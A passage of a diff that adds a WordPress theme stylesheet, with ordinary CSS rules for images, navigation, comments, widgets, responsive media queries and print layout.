+	background-image: -o-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: linear-gradient(top, #ebebeb, #e1e1e1);
+	box-shadow: inset 0 0 8px 2px #c6c6c6, 0 1px 0 0 #f4f4f4;
+	border-color: transparent;
+}
+.bypostauthor cite span {
+	color: #fff;
+	background-color: #21759b;
+	background-image: none;
+	border: 1px solid #1f6f93;
+	border-radius: 2px;
+	box-shadow: none;
+	padding: 0;
+}
+
+/* Responsive images */
+.entry-content img,
+.comment-content img,
+.widget img {
+	max-width: 100%; /* Fluid images for posts, comments, and widgets */
+}
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+img.size-full,
+img.size-large,
+img.header-image,
+img.wp-post-image {
+	max-width: 100%;
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+
+/* Make sure videos and embeds fit their containers */
+embed,
+iframe,
+object,
+video {
+	max-width: 100%;
+}
+.entry-content .twitter-tweet-rendered {
+	max-width: 100% !important; /* Override the Twitter embed fixed width */
+}
+
+/* Images */
+.alignleft {
+	float: left;
+}
+.alignright {
+	float: right;
+}
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+.entry-content img,
+.comment-content img,
+.widget img,
+img.header-image,
+.author-avatar img,
+img.wp-post-image {
+	/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */
+	border-radius: 3px;
+	box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2);
+}
+.wp-caption {
+	max-width: 100%; /* Keep wide captions from overflowing their container. */
+	padding: 4px;
+}
+.wp-caption .wp-caption-text,
+.gallery-caption,
+.entry-caption {
+	font-style: italic;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	color: #757575;
+}
+img.wp-smiley,
+.rsswidget img {
+	border: 0;
+	border-radius: 0;
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+.entry-content dl.gallery-item {
+	margin: 0;
+}
+.gallery-item a,
+.gallery-caption {
+	width: 90%;
+}
+.gallery-item a {
+	display: block;
+}
+.gallery-caption a {
+	display: inline;
+}
+.gallery-columns-1 .gallery-item a {
+	max-width: 100%;
+	width: auto;
+}
+.gallery .gallery-icon img {
+	height: auto;
+	max-width: 90%;
+	padding: 5%;
+}
+.gallery-columns-1 .gallery-icon img {
+	padding: 3%;
+}
+
+/* Navigation */
+.site-content nav {
+	clear: both;
+	line-height: 2;
+	overflow: hidden;
+}
+#nav-above {
+	padding: 24px 0;
+	padding: 1.714285714rem 0;
+}
+#nav-above {
+	display: none;
+}
+.paged #nav-above {
+	display: block;
+}
+.nav-previous,
+.previous-image {
+	float: left;
+	width: 50%;
+}
+.nav-next,
+.next-image {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+.nav-single + .comments-area,
+#comment-nav-above {
+	margin: 48px 0;
+	margin: 3.428571429rem 0;
+}
+
+/* Author profiles */
+.author .archive-header {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.author-info {
+	border-top: 1px solid #ededed;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	padding-top: 24px;
+	padding-top: 1.714285714rem;
+	overflow: hidden;
+}
+.author-description p {
+	color: #757575;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.author.archive .author-info {
+	border-top: 0;
+	margin: 0 0 48px;
+	margin: 0 0 3.428571429rem;
+}
+.author.archive .author-avatar {
+	margin-top: 0;
+}
+
+
+/* =Basic structure
+-------------------------------------------------------------- */
+
+/* Body, links, basics */
+html {
+	font-size: 87.5%;
+}
+body {
+	font-size: 14px;
+	font-size: 1rem;
+	font-family: Helvetica, Arial, sans-serif;
+	text-rendering: optimizeLegibility;
+	color: #444;
+}
+body.custom-font-enabled {
+	font-family: "Open Sans", Helvetica, Arial, sans-serif;
+}
+a {
+	outline: none;
+	color: #21759b;
+}
+a:hover {
+	color: #0f3647;
+}
+
+/* Assistive text */
+.assistive-text,
+.site .screen-reader-text {
+	position: absolute !important;
+	clip: rect(1px, 1px, 1px, 1px);
+}
+.main-navigation .assistive-text:focus {
+	background: #fff;
+	border: 2px solid #333;
+	border-radius: 3px;
+	clip: auto !important;
+	color: #000;
+	display: block;
+	font-size: 12px;
+	padding: 12px;
+	position: absolute;
+	top: 5px;
+	left: 5px;
+	z-index: 100000; /* Above WP toolbar */
+}
+
+/* Page structure */
+.site {
+	padding: 0 24px;
+	padding: 0 1.714285714rem;
+	background-color: #fff;
+}
+.site-content {
+	margin: 24px 0 0;
+	margin: 1.714285714rem 0 0;
+}
+.widget-area {
+	margin: 24px 0 0;
+	margin: 1.714285714rem 0 0;
+}
+
+/* Header */
+.site-header {
+	padding: 24px 0;
+	padding: 1.714285714rem 0;
+}
+.site-header h1,
+.site-header h2 {
+	text-align: center;
+}
+.site-header h1 a,
+.site-header h2 a {
+	color: #515151;
+	display: inline-block;
+	text-decoration: none;
+}
+.site-header h1 a:hover,
+.site-header h2 a:hover {
+	color: #21759b;
+}
+.site-header h1 {
+	font-size: 24px;
+	font-size: 1.714285714rem;
+	line-height: 1.285714286;
+	margin-bottom: 14px;
+	margin-bottom: 1rem;
+}
+.site-header h2 {
+	font-weight: normal;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #757575;
+}
+.header-image {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+}
+
+/* Navigation Menu */
+.main-navigation {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	text-align: center;
+}
+.main-navigation li {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.42857143;
+}
+.main-navigation a {
+	color: #5e5e5e;
+}
+.main-navigation a:hover,
+.main-navigation a:focus {
+	color: #21759b;
+}
+.main-navigation ul.nav-menu,
+.main-navigation div.nav-menu > ul {
+	display: none;
+}
+.main-navigation ul.nav-menu.toggled-on,
+.menu-toggle {
+	display: inline-block;
+}
+
+/* Banner */
+section[role="banner"] {
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+}
+
+/* Sidebar */
+.widget-area .widget {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+	word-wrap: break-word;
+}
+.widget-area .widget h3 {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.widget-area .widget p,
+.widget-area .widget li,
+.widget-area .widget .textwidget {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.widget-area .widget p {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.widget-area .textwidget ul {
+	list-style: disc outside;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+.widget-area .textwidget li {
+	margin-left: 36px;
+	margin-left: 2.571428571rem;
+}
+.widget-area .widget a {
+	color: #757575;
+}
+.widget-area .widget a:hover {
+	color: #21759b;
+}
+.widget-area .widget a:visited {
+	color: #9f9f9f;
+}
+.widget-area #s {
+	width: 53.66666666666%; /* define a width to avoid dropping a wider submit button */
+}
+
+/* Footer */
+footer[role="contentinfo"] {
+	border-top: 1px solid #ededed;
+	clear: both;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	max-width: 960px;
+	max-width: 68.571428571rem;
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	margin-left: auto;
+	margin-right: auto;
+	padding: 24px 0;
+	padding: 1.714285714rem 0;
+}
+footer[role="contentinfo"] a {
+	color: #686868;
+}
+footer[role="contentinfo"] a:hover {
+	color: #21759b;
+}
+
+
+/* =Main content and comment content
+-------------------------------------------------------------- */
+
+.entry-meta {
+	clear: both;
+}
+.entry-header {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-header img.wp-post-image {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-header .entry-title {
+	font-size: 20px;
+	font-size: 1.428571429rem;
+	line-height: 1.2;
+	font-weight: normal;
+}
+.entry-header .entry-title a {
+	text-decoration: none;
+}
+.entry-header .entry-format {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-weight: normal;
+}
+.entry-header .comments-link {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #757575;
+}
+.comments-link a,
+.entry-meta a {
+	color: #757575;
+}
+.comments-link a:hover,
+.entry-meta a:hover {
+	color: #21759b;
+}
+article.sticky .featured-post {
+	border-top: 4px double #ededed;
+	border-bottom: 4px double #ededed;
+	color: #757575;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 3.692307692;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+	text-align: center;
+}
+.entry-content,
+.entry-summary,
+.mu_register {
+	line-height: 1.714285714;
+}
+.entry-content h1,
+.comment-content h1,
+.entry-content h2,
+.comment-content h2,
+.entry-content h3,
+.comment-content h3,
+.entry-content h4,
+.comment-content h4,
+.entry-content h5,
+.comment-content h5,
+.entry-content h6,
+.comment-content h6 {
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	line-height: 1.714285714;
+}
+.entry-content h1,
+.comment-content h1 {
+	font-size: 21px;
+	font-size: 1.5rem;
+	line-height: 1.5;
+}
+.entry-content h2,
+.comment-content h2,
+.mu_register h2 {
+	font-size: 18px;
+	font-size: 1.285714286rem;
+	line-height: 1.6;
+}
+.entry-content h3,
+.comment-content h3 {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	line-height: 1.846153846;
+}
+.entry-content h4,
+.comment-content h4 {
+	font-size: 14px;
+	font-size: 1rem;
+	line-height: 1.846153846;
+}
+.entry-content h5,
+.comment-content h5 {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.entry-content h6,
+.comment-content h6 {
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.846153846;
+}
+.entry-content p,
+.entry-summary p,
+.comment-content p,
+.mu_register p {
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	line-height: 1.714285714;
+}
+.entry-content a:visited,
+.comment-content a:visited {
+	color: #9f9f9f;
+}
+.entry-content .more-link {
+	white-space: nowrap;
+}
+.entry-content ol,
+.comment-content ol,
+.entry-content ul,
+.comment-content ul,
+.mu_register ul {
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	line-height: 1.714285714;
+}
+.entry-content ul ul,
+.comment-content ul ul,
+.entry-content ol ol,
+.comment-content ol ol,
+.entry-content ul ol,
+.comment-content ul ol,
+.entry-content ol ul,
+.comment-content ol ul {
+	margin-bottom: 0;
+}
+.entry-content ul,
+.comment-content ul,
+.mu_register ul {
+	list-style: disc outside;
+}
+.entry-content ol,
+.comment-content ol {
+	list-style: decimal outside;
+}
+.entry-content li,
+.comment-content li,
+.mu_register li {
+	margin: 0 0 0 36px;
+	margin: 0 0 0 2.571428571rem;
+}
+.entry-content blockquote,
+.comment-content blockquote {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+	padding: 24px;
+	padding: 1.714285714rem;
+	font-style: italic;
+}
+.entry-content blockquote p:last-child,
+.comment-content blockquote p:last-child {
+	margin-bottom: 0;
+}
+.entry-content code,
+.comment-content code {
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+}
+.entry-content pre,
+.comment-content pre {
+	border: 1px solid #ededed;
+	color: #666;
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	overflow: auto;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+.entry-content pre code,
+.comment-content pre code {
+	display: block;
+}
+.entry-content abbr,
+.comment-content abbr,
+.entry-content dfn,
+.comment-content dfn,
+.entry-content acronym,
+.comment-content acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+.entry-content address,
+.comment-content address {
+	display: block;
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+img.alignleft,
+.wp-caption.alignleft {
+	margin: 12px 24px 12px 0;
+	margin: 0.857142857rem 1.714285714rem 0.857142857rem 0;
+}
+img.alignright,
+.wp-caption.alignright {
+	margin: 12px 0 12px 24px;
+	margin: 0.857142857rem 0 0.857142857rem 1.714285714rem;
+}
+img.aligncenter,
+.wp-caption.aligncenter {
+	clear: both;
+	margin-top: 12px;
+	margin-top: 0.857142857rem;
+	margin-bottom: 12px;
+	margin-bottom: 0.857142857rem;
+}
+.entry-content embed,
+.entry-content iframe,
+.entry-content object,
+.entry-content video {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-content dl,
+.comment-content dl {
+	margin: 0 24px;
+	margin: 0 1.714285714rem;
+}
+.entry-content dt,
+.comment-content dt {
+	font-weight: bold;
+	line-height: 1.714285714;
+}
+.entry-content dd,
+.comment-content dd {
+	line-height: 1.714285714;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-content table,
+.comment-content table {
+	border-bottom: 1px solid #ededed;
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	width: 100%;
+}
+.entry-content table caption,
+.comment-content table caption {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+.entry-content td,
+.comment-content td {
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+.site-content article {
+	border-bottom: 4px double #ededed;
+	margin-bottom: 72px;
+	margin-bottom: 5.142857143rem;
+	padding-bottom: 24px;
+	padding-bottom: 1.714285714rem;
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+}
+.page-links {
+	clear: both;
+	line-height: 1.714285714;
+}
+footer.entry-meta {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #757575;
+}
+.single-author .entry-meta .by-author {
+	display: none;
+}
+.mu_register h2 {
+	color: #757575;
+	font-weight: normal;
+}
+
+
+/* =Archives
+-------------------------------------------------------------- */
+
+.archive-header,
+.page-header {
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+	padding-bottom: 22px;
+	padding-bottom: 1.571428571rem;
+	border-bottom: 1px solid #ededed;
+}
+.archive-meta {
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin-top: 22px;
+	margin-top: 1.571428571rem;
+}
+
+/* =Single audio/video attachment view
+-------------------------------------------------------------- */
+
+.attachment .entry-content .mejs-audio {
+	max-width: 400px;
+}
+
+.attachment .entry-content .mejs-container {
+	margin-bottom: 24px;
+}
+
+
+/* =Single image attachment view
+-------------------------------------------------------------- */
+
+.article.attachment {
+	overflow: hidden;
+}
+.image-attachment div.attachment {
+	text-align: center;
+}
+.image-attachment div.attachment p {
+	text-align: center;
+}
+.image-attachment div.attachment img {
+	display: block;
+	height: auto;
+	margin: 0 auto;
+	max-width: 100%;
+}
+.image-attachment .entry-caption {
+	margin-top: 8px;
+	margin-top: 0.571428571rem;
+}
+
+
+/* =Aside post format
+-------------------------------------------------------------- */
+
+article.format-aside h1 {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+article.format-aside h1 a {
+	text-decoration: none;
+	color: #4d525a;
+}
+article.format-aside h1 a:hover {
+	color: #2e3542;
+}
+article.format-aside .aside {
+	padding: 24px 24px 0;
+	padding: 1.714285714rem;
+	background: #d2e0f9;
+	border-left: 22px solid #a8bfe8;
+}
+article.format-aside p {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #4a5466;
+}
+article.format-aside blockquote:last-child,
+article.format-aside p:last-child {
+	margin-bottom: 0;
+}
+
+
+/* =Post formats
+-------------------------------------------------------------- */
+
+/* Image posts */
+article.format-image footer h1 {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	font-weight: normal;
+}
+article.format-image footer h2 {
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+}
+article.format-image footer a h2 {
+	font-weight: normal;
+}
+
+/* Link posts */
+article.format-link header {
+	padding: 0 10px;
+	padding: 0 0.714285714rem;
+	float: right;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+	font-weight: bold;
+	font-style: italic;
+	text-transform: uppercase;
+	color: #848484;
+	background-color: #ebebeb;
+	border-radius: 3px;
+}
+article.format-link .entry-content {
+	max-width: 80%;
+	float: left;
+}
+article.format-link .entry-content a {
+	font-size: 22px;
+	font-size: 1.571428571rem;
+	line-height: 1.090909091;
+	text-decoration: none;
+}
+
+/* Quote posts */
+article.format-quote .entry-content p {
+	margin: 0;
+	padding-bottom: 24px;
+	padding-bottom: 1.714285714rem;
+}
+article.format-quote .entry-content blockquote {
+	display: block;
+	padding: 24px 24px 0;
+	padding: 1.714285714rem 1.714285714rem 0;
+	font-size: 15px;
+	font-size: 1.071428571rem;
+	line-height: 1.6;
+	font-style: normal;
+	color: #6a6a6a;
+	background: #efefef;
+}
+
+/* Status posts */
+.format-status .entry-header {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.format-status .entry-header header {
+	display: inline-block;
+}
+.format-status .entry-header h1 {
+	font-size: 15px;
+	font-size: 1.071428571rem;
+	font-weight: normal;
+	line-height: 1.6;
+	margin: 0;
+}
+.format-status .entry-header h2 {
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	font-weight: normal;
+	line-height: 2;
+	margin: 0;
+}
+.format-status .entry-header header a {
+	color: #757575;
+}
+.format-status .entry-header header a:hover {
+	color: #21759b;
+}
+.format-status .entry-header img {
+	float: left;
+	margin-right: 21px;
+	margin-right: 1.5rem;
+}
+
+
+/* =Comments
+-------------------------------------------------------------- */
+
+.comments-title {
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	line-height: 1.5;
+	font-weight: normal;
+}
+.comments-area article {
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+.comments-area article header {
+	margin: 0 0 48px;
+	margin: 0 0 3.428571429rem;
+	overflow: hidden;
+	position: relative;
+}
+.comments-area article header img {
+	float: left;
+	padding: 0;
+	line-height: 0;
+}
+.comments-area article header cite,
+.comments-area article header time {
+	display: block;
+	margin-left: 85px;
+	margin-left: 6.071428571rem;
+}
+.comments-area article header cite {
+	font-style: normal;
+	font-size: 15px;
+	font-size: 1.071428571rem;
+	line-height: 1.42857143;
+}
+.comments-area cite b {
+	font-weight: normal;
+}
+.comments-area article header time {
+	line-height: 1.714285714;
+	text-decoration: none;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	color: #5e5e5e;
+}
+.comments-area article header a {
+	text-decoration: none;
+	color: #5e5e5e;
+}
+.comments-area article header a:hover {
+	color: #21759b;
+}
+.comments-area article header cite a {
+	color: #444;
+}
+.comments-area article header cite a:hover {
+	text-decoration: underline;
+}
+.comments-area article header h4 {
+	position: absolute;
+	top: 0;
+	right: 0;
+	padding: 6px 12px;
+	padding: 0.428571429rem 0.857142857rem;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	font-weight: normal;
+	color: #fff;
+	background-color: #0088d0;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #009cee, #0088d0);
+	background-image: -ms-linear-gradient(top, #009cee, #0088d0);
+	background-image: -webkit-linear-gradient(top, #009cee, #0088d0);
+	background-image: -o-linear-gradient(top, #009cee, #0088d0);
+	background-image: linear-gradient(top, #009cee, #0088d0);
+	border-radius: 3px;
+	border: 1px solid #007cbd;
+}
+.comments-area .bypostauthor cite span {
+	position: absolute;
+	margin-left: 5px;
+	margin-left: 0.357142857rem;
+	padding: 2px 5px;
+	padding: 0.142857143rem 0.357142857rem;
+	font-size: 10px;
+	font-size: 0.714285714rem;
+}
+.comments-area .bypostauthor cite b {
+	font-weight: bold;
+}
+a.comment-reply-link,
+a.comment-edit-link {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+a.comment-reply-link:hover,
+a.comment-edit-link:hover {
+	color: #21759b;
+}
+.commentlist .pingback {
+	line-height: 1.714285714;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+
+/* Comment form */
+#respond {
+	margin-top: 48px;
+	margin-top: 3.428571429rem;
+}
+#respond h3#reply-title {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	line-height: 1.5;
+}
+#respond h3#reply-title #cancel-comment-reply-link {
+	margin-left: 10px;
+	margin-left: 0.714285714rem;
+	font-weight: normal;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+}
+#respond form {
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+#respond form p {
+	margin: 11px 0;
+	margin: 0.785714286rem 0;
+}
+#respond form p.logged-in-as {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+#respond form label {
+	display: block;
+	line-height: 1.714285714;
+}
+#respond form input[type="text"],
+#respond form textarea {
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	padding: 10px;
+	padding: 0.714285714rem;
+	width: 100%;
+}
+#respond form p.form-allowed-tags {
+	margin: 0;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	color: #5e5e5e;
+}
+.required {
+	color: red;
+}
+
+
+/* =Front page template
+-------------------------------------------------------------- */
+
+.entry-page-image {
+	margin-bottom: 14px;
+	margin-bottom: 1rem;
+}
+.template-front-page .site-content article {
+	border: 0;
+	margin-bottom: 0;
+}
+.template-front-page .widget-area {
+	clear: both;
+	float: none;
+	width: auto;
+	padding-top: 24px;
+	padding-top: 1.714285714rem;
+	border-top: 1px solid #ededed;
+}
+.template-front-page .widget-area .widget li {
+	margin: 8px 0 0;
+	margin: 0.571428571rem 0 0;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.714285714;
+	list-style-type: square;
+	list-style-position: inside;
+}
+.template-front-page .widget-area .widget li a {
+	color: #757575;
+}
+.template-front-page .widget-area .widget li a:hover {
+	color: #21759b;
+}
+.template-front-page .widget-area .widget_text img {
+	float: left;
+	margin: 8px 24px 8px 0;
+	margin: 0.571428571rem 1.714285714rem 0.571428571rem 0;
+}
+
+
+/* =Widgets
+-------------------------------------------------------------- */
+
+.widget-area .widget ul ul {
+	margin-left: 12px;
+	margin-left: 0.857142857rem;
+}
+.widget_rss li {
+	margin: 12px 0;
+	margin: 0.857142857rem 0;
+}
+.widget_recent_entries .post-date,
+.widget_rss .rss-date {
+	color: #aaa;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	margin-left: 12px;
+	margin-left: 0.857142857rem;
+}
+#wp-calendar {
+	margin: 0;
+	width: 100%;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #686868;
+}
+#wp-calendar th,
+#wp-calendar td,
+#wp-calendar caption {
+	text-align: left;
+}
+#wp-calendar #next {
+	padding-right: 24px;
+	padding-right: 1.714285714rem;
+	text-align: right;
+}
+.widget_search label {
+	display: block;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.widget_twitter li {
+	list-style-type: none;
+}
+.widget_twitter .timesince {
+	display: block;
+	text-align: right;
+}
+
+
+/* =Plugins
+----------------------------------------------- */
+
+img#wpstats {
+	display: block;
+	margin: 0 auto 24px;
+	margin: 0 auto 1.714285714rem;
+}
+
+
+/* =Media queries
+-------------------------------------------------------------- */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+@viewport {
+	width: device-width;
+}
+
+/* Minimum width of 600 pixels. */
+@media screen and (min-width: 600px) {
+	.author-avatar {
+		float: left;
+		margin-top: 8px;
+		margin-top: 0.571428571rem;
+	}
+	.author-description {
+		float: right;
+		width: 80%;
+	}
+	.site {
+		margin: 0 auto;
+		max-width: 960px;
+		max-width: 68.571428571rem;
+		overflow: hidden;
+	}
+	.site-content {
+		float: left;
+		width: 65.104166667%;
+	}
+	body.template-front-page .site-content,
+	body.attachment .site-content,
+	body.full-width .site-content {
+		width: 100%;
+	}
+	.widget-area {
+		float: right;
+		width: 26.041666667%;
+	}
+	.site-header h1,
+	.site-header h2 {
+		text-align: left;
+	}
+	.site-header h1 {
+		font-size: 26px;
+		font-size: 1.857142857rem;
+		line-height: 1.846153846;
+		margin-bottom: 0;
+	}
+	.main-navigation ul.nav-menu,
+	.main-navigation div.nav-menu > ul {
+		border-bottom: 1px solid #ededed;
+		border-top: 1px solid #ededed;
+		display: inline-block !important;
+		text-align: left;
+		width: 100%;
+	}
+	.main-navigation ul {
+		margin: 0;
+		text-indent: 0;
+	}
+	.main-navigation li a,
+	.main-navigation li {
+		display: inline-block;
+		text-decoration: none;
+	}
+	.main-navigation li a {
+		border-bottom: 0;
+		color: #6a6a6a;
+		line-height: 3.692307692;
+		text-transform: uppercase;
+		white-space: nowrap;
+	}
+	.main-navigation li a:hover,
+	.main-navigation li a:focus {
+		color: #000;
+	}
+	.main-navigation li {
+		margin: 0 40px 0 0;
+		margin: 0 2.857142857rem 0 0;
+		position: relative;
+	}
+	.main-navigation li ul {
+		margin: 0;
+		padding: 0;
+		position: absolute;
+		top: 100%;
+		z-index: 1;
+		height: 1px;
+		width: 1px;
+		overflow: hidden;
+		clip: rect(1px, 1px, 1px, 1px);
+	}
+	.main-navigation li ul ul {
+		top: 0;
+		left: 100%;
+	}
+	.main-navigation ul li:hover > ul,
+	.main-navigation ul li:focus > ul,
+	.main-navigation .focus > ul {
+		border-left: 0;
+		clip: inherit;
+		overflow: inherit;
+		height: inherit;
+		width: inherit;
+	}
+	.main-navigation li ul li a {
+		background: #efefef;
+		border-bottom: 1px solid #ededed;
+		display: block;
+		font-size: 11px;
+		font-size: 0.785714286rem;
+		line-height: 2.181818182;
+		padding: 8px 10px;
+		padding: 0.571428571rem 0.714285714rem;
+		width: 180px;
+		width: 12.85714286rem;
+		white-space: normal;
+	}
+	.main-navigation li ul li a:hover,
+	.main-navigation li ul li a:focus {
+		background: #e3e3e3;
+		color: #444;
+	}
+	.main-navigation .current-menu-item > a,
+	.main-navigation .current-menu-ancestor > a,
+	.main-navigation .current_page_item > a,
+	.main-navigation .current_page_ancestor > a {
+		color: #636363;
+		font-weight: bold;
+	}
+	.menu-toggle {
+		display: none;
+	}
+	.entry-header .entry-title {
+		font-size: 22px;
+		font-size: 1.571428571rem;
+	}
+	#respond form input[type="text"] {
+		width: 46.333333333%;
+	}
+	#respond form textarea.blog-textarea {
+		width: 79.666666667%;
+	}
+	.template-front-page .site-content,
+	.template-front-page article {
+		overflow: hidden;
+	}
+	.template-front-page.has-post-thumbnail article {
+		float: left;
+		width: 47.916666667%;
+	}
+	.entry-page-image {
+		float: right;
+		margin-bottom: 0;
+		width: 47.916666667%;
+	}
+	.template-front-page .widget-area .widget,
+	.template-front-page.two-sidebars .widget-area .front-widgets {
+		float: left;
+		width: 51.875%;
+		margin-bottom: 24px;
+		margin-bottom: 1.714285714rem;
+	}
+	.template-front-page .widget-area .widget:nth-child(odd) {
+		clear: right;
+	}
+	.template-front-page .widget-area .widget:nth-child(even),
+	.template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets {
+		float: right;
+		width: 39.0625%;
+		margin: 0 0 24px;
+		margin: 0 0 1.714285714rem;
+	}
+	.template-front-page.two-sidebars .widget,
+	.template-front-page.two-sidebars .widget:nth-child(even) {
+		float: none;
+		width: auto;
+	}
+	.commentlist .children {
+		margin-left: 48px;
+		margin-left: 3.428571429rem;
+	}
+}
+
+/* Minimum width of 960 pixels. */
+@media screen and (min-width: 960px) {
+	body {
+		background-color: #e6e6e6;
+	}
+	body .site {
+		padding: 0 40px;
+		padding: 0 2.857142857rem;
+		margin-top: 48px;
+		margin-top: 3.428571429rem;
+		margin-bottom: 48px;
+		margin-bottom: 3.428571429rem;
+		box-shadow: 0 2px 6px rgba(100, 100, 100, 0.3);
+	}
+	body.custom-background-empty {
+		background-color: #fff;
+	}
+	body.custom-background-empty .site,
+	body.custom-background-white .site {
+		padding: 0;
+		margin-top: 0;
+		margin-bottom: 0;
+		box-shadow: none;
+	}
+}
+
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	body {
+		background: none !important;
+		color: #000;
+		font-size: 10pt;
+	}
+	footer a[rel=bookmark]:link:after,
+	footer a[rel=bookmark]:visited:after {
+		content: " [" attr(href) "] "; /* Show URLs */
+	}
+	a {
+		text-decoration: none;
+	}
+	.entry-content img,
+	.comment-content img,
+	.author-avatar img,
+	img.wp-post-image {
+		border-radius: 0;
+		box-shadow: none;
+	}
+	.site {
+		clear: both !important;
+		display: block !important;
+		float: none !important;
+		max-width: 100%;
+		position: relative !important;
+	}
+	.site-header {
+		margin-bottom: 72px;
